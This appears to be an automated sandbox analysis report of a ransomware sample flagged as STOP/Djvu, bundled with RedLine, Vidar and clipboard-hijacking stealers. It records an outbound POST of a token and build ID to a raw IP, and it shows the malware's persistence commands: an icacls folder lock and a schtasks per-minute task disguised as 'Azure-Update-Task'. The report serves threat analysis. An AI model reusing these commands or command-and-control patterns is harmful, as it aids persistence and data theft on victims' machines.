2024-04-24 15:37:31 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBKJEGIEBFHCAAKKEBA User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:37:31 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 31 61 66 61 30 61 66 63 65 38 62 35 62 35 63 34 64 31 64 32 39 64 66 36 65 39 62 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 Data Ascii: ------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="token"9e1afa0afce8b5b5c4d1d29df6e9bf10------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------HDBKJEGIEBFHCAAKKEBACont
2024-04-24 15:37:32 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 15:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 15:37:32 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49725	172.67.139.220	443	6080	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:37:44 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 15:37:45 UTC	916	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 15:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ksl%2FkFLsK%2FuRZ%2BwDjhPVH%2FYVC19RX2zA5m2p1XngGUWsNbTOw53oBvpTccqWMxu3OfH9ANcf8bGVpqSCy8f05uLmXltg2U%2FyFtt04qrSCR2wE4m0ws13gTGTZ7yQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87972d268f6f2ae8-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 15:37:45 UTC	453	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 62 61 64 32 64 66 64 36 63 61 66 61 38 38 64 33 63 61 39 34 64 37 64 66 38 35 63 39 63 66 64 38 64 30 64 66 64 39 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#bad2dfd6cafa88d3ca94d7df85c9cfd8d0dfd9
2024-04-24 15:37:45 UTC	477	IN	Data Raw: 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 35 37 33 66 33 32 33 62 32 37 31 37 36 35 33 65 32 37 37 39 32 32 33 36 36 38 32 34 32 32 33 35 33 64 33 32 33 34 32 33 36 61 36 35 33 65 32 37 37 39 32 32 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#573f323b2717653e27792236682422353d3234236a653e277922
2024-04-24 15:37:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	17:37:00
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\R5391762lf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\R5391762lf.exe"
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	4F8FB134C680D0E05861A34827751834
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1373934785.0000000004498000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:37:01
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\R5391762lf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\R5391762lf.exe"
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	4F8FB134C680D0E05861A34827751834
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:37:03
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x720000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:37:03
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\R5391762lf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\R5391762lf.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	4F8FB134C680D0E05861A34827751834
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.1405143882.0000000004456000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:37:03
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe --Task
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	4F8FB134C680D0E05861A34827751834
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000006.00000002.1411013560.0000000004578000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:37:04
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\R5391762lf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\R5391762lf.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	4F8FB134C680D0E05861A34827751834
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:37:04
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe --Task
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	4F8FB134C680D0E05861A34827751834
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000008.00000002.3833609200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000008.00000002.3833609200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000008.00000002.3833609200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:37:13
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe"
Imagebase:	0x400000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.1502845330.0000000001D0E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000009.00000002.1502638549.0000000001BA0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:37:14
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe"
Imagebase:	0x400000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000B.00000002.1672621226.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:37:15
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	4F8FB134C680D0E05861A34827751834
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000002.1548831250.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000002.1548831250.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000C.00000002.1548118097.0000000004466000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:37:17
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe"
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000D.00000002.1620821652.000000000088C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000000D.00000002.1620588181.0000000000850000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000D.00000002.1620588181.0000000000850000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000D.00000002.1620588181.0000000000850000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	17:37:17
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	4F8FB134C680D0E05861A34827751834
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000E.00000002.1561850226.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000E.00000002.1561850226.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000E.00000002.1561850226.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	17:37:26
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe"
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000010.00000002.1620958954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000010.00000002.1620958954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000010.00000002.1620958954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	17:37:26
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Imagebase:	0x4a0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:37:26
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:37:26
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000013.00000002.1703479175.0000000000B3C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000013.00000002.1703198337.0000000000960000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000013.00000002.1703198337.0000000000960000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000013.00000002.1703198337.0000000000960000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:37:34
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000014.00000002.3833462867.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000014.00000002.3833462867.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000014.00000002.3833462867.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	17:37:34
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Imagebase:	0x4a0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	17:37:34
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	17:37:42
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	4F8FB134C680D0E05861A34827751834
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000017.00000002.1792622413.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000017.00000002.1792622413.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000017.00000002.1792336779.00000000044D3000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	17:37:42
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	4F8FB134C680D0E05861A34827751834
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000018.00000002.1801978048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000018.00000002.1801978048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000018.00000002.1801978048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	17:38:01
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001B.00000002.2060772952.0000000000B00000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001B.00000002.2060305239.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001B.00000002.2060305239.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001B.00000002.2060305239.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	17:38:10
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001C.00000002.2059366101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001C.00000002.2059366101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001C.00000002.2059366101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	17:39:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001E.00000002.2677102464.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001E.00000002.2677102464.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001E.00000002.2677102464.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001E.00000002.2677244146.0000000000880000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	17:39:11
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
